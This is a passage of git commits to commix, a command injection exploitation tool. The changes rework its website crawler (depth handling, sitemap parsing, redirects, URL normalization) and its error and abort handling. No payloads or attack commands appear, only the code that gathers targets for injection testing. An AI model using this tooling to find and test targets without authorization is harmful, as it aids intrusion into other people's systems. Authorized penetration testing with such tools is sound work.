-676,6 +668,9 @@ def main(filename, url): else: settings.LOCAL_HTTP_IP = None + if menu.options.crawldepth > 0 or menu.options.sitemap_url: + settings.CRAWLING = True + # Check arguments if len(sys.argv) == 1: menu.parser.print_help() @@ -762,6 +757,54 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + # Load the crawler + if settings.CRAWLING: + output_href = crawler.crawler(menu.options.url) + filename = crawler.store_crawling() + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + settings.MULTI_TARGETS = True + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if re.search(r"(.*?)\?(.+)", url): + url_num += 1 + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -794,7 +837,7 @@ def main(filename, url): print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) for url in clean_bulkfile: url_num += 1 - print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -822,7 +865,6 @@ def main(filename, url): elif message in settings.CHOICE_QUIT: raise SystemExit() - else: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b810398374..18ae47ec20 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -134,7 +134,7 @@ def http_open(self, req): self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url=req) def https_open(self, req): try: @@ -142,7 +142,7 @@ def https_open(self, req): self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url=req) opener = _urllib.request.build_opener(connection_handler()) if len(settings.HTTP_METHOD) != 0: @@ -214,12 +214,12 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) - if not settings.PERFORM_CRACKING and \ + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_SKIPPED_URLS == 0: + not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5f6633f2e4..a1c4035cc6 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,13 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch: + if settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " redirection_option = _input(settings.print_question_msg(question_msg)) else: redirection_option = "" if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: + if menu.options.batch and not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) return checks.check_http_s(response.geturl()) @@ -87,7 +89,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url) else: pass diff --git a/src/utils/common.py b/src/utils/common.py index befb641560..da159bd01a 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,6 +27,15 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib + +def extract_regex_result(regex, content): + result = None + if regex and content and "?P" in regex: + match = re.search(regex, content) + if match: + result = match.group("result") + return result + """ Returns True if the current process is run under admin privileges """ diff --git a/src/utils/crawler.py b/src/utils/crawler.py index decfb487a6..a9f526f804 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -14,18 +14,25 @@ """ import re import sys +import socket import tempfile from src.utils import menu from src.utils import settings +from src.utils.common import extract_regex_result from src.core.injections.controller import checks from src.core.requests import headers +from socket import error as SocketError +from src.core.requests import redirection +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -SITEMAP_LOC = [] -HREF_LIST = [] +sitemap_loc = [] +visited_hrefs = [] +crawled_hrefs = [] +new_crawled_hrefs = [] def store_crawling(): while True: @@ -52,29 +59,6 @@ def store_crawling(): sys.stdout.flush() pass -""" -Do a request to target URL. -""" -def request(url): - try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.URLError as err_msg: - settings.CRAWLED_SKIPPED_URLS += 1 - if settings.CRAWLED_SKIPPED_URLS == 1: - print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg) + " - Skipping " + str(url) - sys.stdout.write(settings.print_critical_msg(err_msg)) - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - """ Check for URLs in sitemap.xml. """ @@ -88,7 +72,8 @@ def sitemap(url): content = checks.page_encoding(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() - SITEMAP_LOC.append(url) + if url not in sitemap_loc: + sitemap_loc.append(url) if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." @@ -111,16 +96,62 @@ def sitemap(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - return SITEMAP_LOC + return sitemap_loc except: if not menu.options.crawldepth: raise SystemExit() pass """ -Grab the crawled hrefs. +Store the identified (valid) hrefs. +""" +def store_hrefs(href, identified_hrefs, redirection): + if href not in crawled_hrefs: + if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + new_crawled_hrefs.append(href) + identified_hrefs = True + crawled_hrefs.append(href) + return identified_hrefs +""" +Do a request to target URL. """ -def crawling(url): +def request(url): + try: + # Check if defined POST data + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(url) + headers.do_check(request) + headers.check_http_traffic(request) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if not menu.options.ignore_redirects: + href = redirection.do_check(request, url) + if href != url: + store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS += 1 + # if settings.CRAWLING_DEPTH == 1: + print(settings.SINGLE_WHITESPACE) + checks.connection_exceptions(err_msg, url) + if settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) + +""" +The crawing process. +""" +def do_process(url): + identified_hrefs = False + if settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) + else: + if settings.CRAWLED_SKIPPED_URLS == 0: + sys.stdout.write("\r") + + # Grab the crawled hrefs. try: response = request(url) content = checks.page_encoding(response, action="decode") @@ -133,48 +164,37 @@ def crawling(url): tags = [] tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) + for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: - href = _urllib.parse.urljoin(url, href) - if _urllib.parse.urlparse(url).netloc in href: - if not re.search(r"\?(v=)?\d+\Z", href) and not \ - re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \ - href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if request(href): - HREF_LIST.append(href) - if len(HREF_LIST) != 0: - return list(set(HREF_LIST)) + href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) + if _urllib.parse.urlparse(url).netloc in href: + if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if not re.search(r"\?(v=)?\d+\Z", href) and \ + not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + + if len(crawled_hrefs) != 0: + if identified_hrefs: + if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1: + return list(set(new_crawled_hrefs)) + return list(set(crawled_hrefs)) + return list("") else: - if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) warn_msg = "No usable links found." print(settings.print_warning_msg(warn_msg)) raise SystemExit() - except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links - pass - -""" -The crawing process. -""" -def do_process(url): - try: - crawled_href = [] - for url in crawling(url): - crawled_href.append(url) - return crawled_href - except TypeError: + except Exception as e: # for non-HTML files and non-valid links pass - + """ The main crawler. """ def crawler(url): - if not menu.options.sitemap_url: - info_msg = "Starting crawler and searching for " - info_msg += "links with depth " + str(menu.options.crawldepth) + "." - print(settings.print_info_msg(info_msg)) - else: + info_msg = "Starting crawler for target URL '" + url + "'" + print(settings.print_info_msg(info_msg)) + if menu.options.sitemap_url: message = "" if not menu.options.crawldepth: while True: @@ -217,15 +237,11 @@ def crawler(url): # Change the crawling depth level. if message in settings.CHOICE_YES: while True: - question_msg = "Please enter the crawling depth level (1-2) > " + question_msg = "Please enter the crawling depth level: > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass else: menu.options.crawldepth = message break @@ -257,68 +273,37 @@ def crawler(url): message = "n" sitemap_check = True break - if sitemap_check: output_href = sitemap(url) if output_href is None : sitemap_check = False - info_msg = "Checking " - if sitemap_check: - info_msg += "identified 'sitemap.xml' " - info_msg += "for usable links (with GET parameters). " - if message in settings.CHOICE_NO and not menu.options.sitemap_url: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - else: - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not sitemap_check: output_href = do_process(url) - if int(menu.options.crawldepth) > 1: - for url in output_href: - output_href = do_process(url) - if settings.CRAWLED_SKIPPED_URLS == 0: - print(settings.SINGLE_WHITESPACE) - - if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: - print(settings.SINGLE_WHITESPACE) - info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - filename = store_crawling() - valid_url_found = False - try: - url_num = 0 - valid_urls = [] - for check_url in output_href: - if re.search(r"(.*?)\?(.+)", check_url): - valid_url_found = True - url_num += 1 - print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(check_url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - return check_url - elif message in settings.CHOICE_NO: + while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "." + print(settings.print_info_msg(info_msg)) + if settings.CRAWLING_DEPTH != 1: + output_href = new_crawled_hrefs + link = 0 + if output_href is not None: + for url in output_href: + link += 1 + if url not in visited_hrefs: + visited_hrefs.append(url) + do_process(url) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping '" + check_url + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - raise SystemExit() - except TypeError: - pass - if not valid_url_found: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + print(settings.SINGLE_WHITESPACE) + if link != 0: + print(settings.SINGLE_WHITESPACE) + settings.CRAWLING_DEPTH += 1 + + output_href = crawled_hrefs + return output_href # eof \ No newline at end of file diff --git a/src/utils/menu.py b/src/utils/menu.py index 154d7d8195..b1c3b651ed 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -163,7 +163,7 @@ def banner(): default=0, dest="crawldepth", type="int", - help="Crawl the website starting from the target URL (1-2, Default: 0).") + help="Crawl the website starting from the target URL (Default: 1).") target.add_option("-x", dest="sitemap_url", diff --git a/src/utils/settings.py b/src/utils/settings.py index 85b14e28f4..0da3a13f57 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1122,13 +1122,22 @@ def sys_argv_errors(): DECLARED_COOKIES = "" -CRAWLED_SKIPPED_URLS = 0 - MULTI_TARGETS = False # Identified Redirect code REDIRECT_CODE = "" +# Base64 padding BASE64_PADDING = "==" +# Crawling state +CRAWLING = False +CRAWLED_SKIPPED_URLS = 0 + +# Skipped crawled hrefs +HREF_SKIPPED = [] + +# Default crawling depth +CRAWLING_DEPTH = 1 + # eof \ No newline at end of file From 55264e5a9aaca8512094eff05e7f82fbc89edde6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 May 2022 08:19:08 +0300 Subject: [PATCH 0130/1023] Added support for normalizing crawling results. --- doc/CHANGELOG.md | 1 + src/utils/crawler.py | 33 ++++++++++++++++++++++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 182418a046..c8de73023b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a9f526f804..211c83acd9 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -303,7 +303,38 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) settings.CRAWLING_DEPTH += 1 - output_href = crawled_hrefs + output_href = crawled_hrefs + results = [] + while True: + if not menu.options.batch: + question_msg = "Do you want to normalize crawling results? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + seen = set() + for target in output_href: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + if len(results) != 0: + output_href = results + break + elif message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 0da3a13f57..6eee285fef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4c469390fddc01296b193968014d56b8fcde49e1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 May 2022 08:05:31 +0300 Subject: [PATCH 0131/1023] Fixes https://github.com/commixproject/commix/issues/766 (+ multiple other fixes / updates) --- src/core/enums.py | 58 -------- src/core/injections/controller/checks.py | 22 ++- src/core/injections/controller/controller.py | 140 +++++++++--------- src/core/main.py | 144 +++++++++---------- src/core/requests/parameters.py | 2 + src/core/requests/requests.py | 6 +- src/utils/crawler.py | 4 +- src/utils/settings.py | 2 +- 8 files changed, 172 insertions(+), 206 deletions(-) delete mode 100644 src/core/enums.py diff --git a/src/core/enums.py b/src/core/enums.py deleted file mode 100644 index 30f2b608f7..0000000000 --- a/src/core/enums.py +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import settings - -""" -Runs the basic smoke testing -""" -def smoke_test(): - info_msg = "Executing smoke test." - print(settings.print_info_msg(info_msg)) - - _ = True - file_paths = [] - for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): - file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) - - for filename in file_paths: - if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: - path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) - path = path.replace(settings.COMMIX_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - if "." in path: - try: - __import__(path) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Succeeded importing '" + str(path) + "' module." - print(settings.print_debug_msg(debug_msg)) - except Exception as ex: - error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." - print(settings.print_error_msg(error_msg)) - _ = False - - result = "Smoke test " - if _: - result = result + "passed." - print(settings.print_bold_info_msg(result)) - else: - result = result + "failed." - print(settings.print_bold_error_msg(result)) - raise SystemExit() - - diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 80966a57c1..a76a4c49d5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -27,6 +27,7 @@ import gzip import zlib import traceback +from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import simple_http_server @@ -52,9 +53,20 @@ settings.READLINE_ERROR = True """ -Connection exceptions +User aborted procedure """ +def user_aborted(filename, url): + abort_msg = "User aborted procedure " + abort_msg += "during the " + assessment_phase() + abort_msg += " phase (Ctrl-C was pressed)." + print(settings.SINGLE_WHITESPACE) + print(settings.print_abort_msg(abort_msg)) + logs.print_logs_notification(filename, url) + os._exit(0) +""" +Connection exceptions +""" def connection_exceptions(err_msg, url): settings.VALID_URL = False try: @@ -64,7 +76,7 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) if "ssl" in str(error_msg): settings.MAX_RETRIES = 1 @@ -83,6 +95,7 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) + raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones" @@ -100,7 +113,7 @@ def connection_exceptions(err_msg, url): if settings.MAX_RETRIES > 1 and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")." + error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." if not url: _ = "" else: @@ -567,8 +580,7 @@ def continue_tests(err): print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: - print("\n") + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL - raise SystemExit() + raise """ Check if option is unavailable diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bd5099f9bb..198a678427 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -794,76 +794,80 @@ def basic_level_checks(): General check on every injection technique. """ def do_check(url, http_request_method, filename): - if settings.RECHECK_FILE_FOR_EXTRACTION: - settings.RECHECK_FILE_FOR_EXTRACTION = False - - # Check for '--tor' option. - if menu.options.tor: - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " - warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) + try: + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + + # Check for '--tor' option. + if menu.options.tor: + if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " + warn_msg += "time-based injections because of inherent high latency time." + print(settings.print_warning_msg(warn_msg)) - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 + # Check for "backticks" tamper script. + if settings.USE_BACKTICKS == True: + if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + + # Check for "wizard" switch. + if menu.options.wizard: + if perform_checks(url, http_request_method, filename) == False: + scan_level = menu.options.level + while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: + while True: + if not menu.options.batch: + question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) + question_msg += "' in order to perform more tests? [Y/n] > " + next_level = _input(settings.print_question_msg(question_msg)) else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - perform_checks(url, http_request_method, filename) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > 2: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" - else: - err_msg += " Try to remove the option '--alter-shell'" - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests" - if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" - err_msg += "." - print(settings.print_critical_msg(err_msg)) + next_level = "" + if len(next_level) == 0: + next_level = "Y" + if next_level in settings.CHOICE_YES: + menu.options.level = int(menu.options.level + scan_level) + if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : + scan_level = scan_level + 1 + else: + break + elif next_level in settings.CHOICE_NO: + break + elif next_level in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + next_level + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + else: + perform_checks(url, http_request_method, filename) + + # All injection techniques seems to be failed! + if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: + err_msg = "All tested parameters " + if menu.options.level > 2: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if not menu.options.alter_shell : + err_msg += " Try to use the option '--alter-shell'" + else: + err_msg += " Try to remove the option '--alter-shell'" + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " and/or increase '--level' value to perform" + err_msg += " more tests" + if menu.options.skip_empty: + err_msg += " and/or remove the option '--skip-empty'" + err_msg += "." + print(settings.print_critical_msg(err_msg)) - if not settings.MULTI_TARGETS: - logs.print_logs_notification(filename, url) + if not settings.MULTI_TARGETS: + logs.print_logs_notification(filename, url) + + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + raise SystemExit() + + except KeyboardInterrupt: + checks.user_aborted(filename, url) - if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: - raise SystemExit() - # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index d1d6b53dc6..a0b5f4b21e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -59,6 +59,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -496,7 +497,7 @@ def main(filename, url): logs.print_logs_notification(filename, url) try: - + filename = "" # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -757,54 +758,6 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() - # Load the crawler - if settings.CRAWLING: - output_href = crawler.crawler(menu.options.url) - filename = crawler.store_crawling() - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: - settings.MULTI_TARGETS = True - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if re.search(r"(.*?)\?(.+)", url): - url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -824,20 +777,76 @@ def main(filename, url): sys.stdout.flush() raise 